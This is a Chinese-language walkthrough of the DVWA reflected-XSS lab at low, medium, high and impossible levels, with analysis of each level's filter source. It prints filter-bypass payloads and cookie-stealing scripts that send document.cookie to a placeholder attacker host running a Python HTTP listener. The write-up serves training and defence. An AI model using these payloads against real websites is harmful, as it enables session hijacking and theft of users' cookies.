目录
LOW
通关步骤
1、输入payload:
<script>alert(1)</script>
有弹框弹出,攻击成功
2、获取cookie
payload:
<script>document.write('<img src="http://ip:8899/'+document.cookie+'"/>')</script>
ip是攻击机的网络地址,需要先在攻击机上起http服务:
python2 -m SimpleHTTPServer 8899
然后在输入框中输入上述payload
在攻击机上就可以看到cookie了
源码分析
可以看出来,源代码没有任何防护,只要输入不为空,就会直接显示到用户浏览器界面上。
MEDIUM
通关步骤
1、先试了一下payload:<script>alert(1)</script>
这次没有弹出弹框,而是显示出来了alert(1)
查看网页源代码,<script>被删掉了
2、尝试一下大写绕过
payload:<sCript>alert(1)</script>
成功弹框
源码分析
比LOW多了个str_replace函数,这个函数在这里的作用是在$_GET['name']中如果找到字符串'<script>'就替换成'',也就是起到删除<script>的效果。
注意这个str_replace函数是区分大小写的,所以这里可以用大写绕过。
从代码看,这关也可以用不包含<script>的payload,比如<img src=x οnerrοr=alert(1)>
HIGH
通关步骤
1、尝试了payload:<script>alert(1)</script>
以及payload:<sCript>alert(1)</scriPt>
全都是只剩下一个>
一时想不通是什么情况
2、尝试payload:<img src=x οnerrοr=alert(1)>
弹出弹框
3、这关看起来好像挺简单,但是我后来试了一下,想要获取cookie也没有这么容易。
用payload:<img src=x οnerrοr=document.write('<img src="http://ip:8899/'+document.cookie+'"/>')>
发现服务器上没有收到get请求,页面显示下面这样
本以为是青铜,没想到套路奇特,让人摸不到头脑。
后来看了代码(详见源码分析),发现这个payload正好能匹配上<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t
费了九牛二虎之力琢磨出一个payload:
<a href="" οnclick=document.write('<img src="http://ip:8899/'+document.cookie+'"/>')>hh</a>
onclick后面是html实体编码了,明文payload是<a href="" οnclick=document.write('<img src="http://ip:8899/'+document.cookie+'"/>')>hh</a>
为什么这么费劲呢?
因为这个document.write的内容正好包含>,而且又是在a标签里面的,所以如果不html实体编码一下,这个>就和<a匹配上了,整个payload就不是想要的样子了。
正确的是下面这样
不进行html实体编码的话会变成下面这样,并且服务器上收不到get请求
另外也尝试了单独对>进行html实体编码也是不行的,虽然页面上的显示是正确的,但是服务器是获取不到get请求的。
源码分析
这个比LOW多了个preg_replace函数,该函数执行正则表达式的搜索和替换。
正则表达式被/定界,/后面的i表示忽略大小写,即不区分大小写。
这里是在$_GET['name']中搜索匹配正则表达式<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t的字符串,并删除。
.表示换行符\n之外的任意字符
*表示匹配零次或多次
并且这里的所有.*都是贪婪匹配,因此以<sCript>alert(1)</scriPt>为例,<和s之间的(.*)直接匹配上了sCript>alert(1)</,这才导致最后只剩下了一个>
从源代码看,只要避开script就可以了
IMPOSSIBLE
源码分析
这里用到的防御xss攻击的方法是使用htmlspecialchars函数把输出中的预定义字符转换为HTML编码。
函数语法:
htmlspecialchars(string,flags,character-set,double_encode)
预定义的字符包含&、<、>、'、"
其中是否编码引号是可以通过flags参数控制的。
从下图可见,这里flags参数采用的是默认值,因此这里只编码了双引号。
不过由于这里输出是在标签中间,和引号没啥关系,编码了 < 和 > 也就没有操作空间了。
总结
DVWA的反射性XSS也是很简单了。基于这个靶场简单总结一下。
XSS本质是html代码注入。
反射性XSS不经过数据库,payload走的路径是:浏览器-->服务器-->浏览器
可以通过弹框来判断是否有XSS:
寻找可输入的点,输入payload,查看是否弹框
经典payload有:
<script>alert(1)</script>
<img src=x οnerrοr=alert(1) />
等等
可以输入简单的payload,查看页面输出,以及网页源代码,判断进行了什么样的输入过滤或输出编码,以此来调整payload。
如果查看源代码可见输出在标签中间,而 < 和 > 又被html编码了,那基本就没戏了。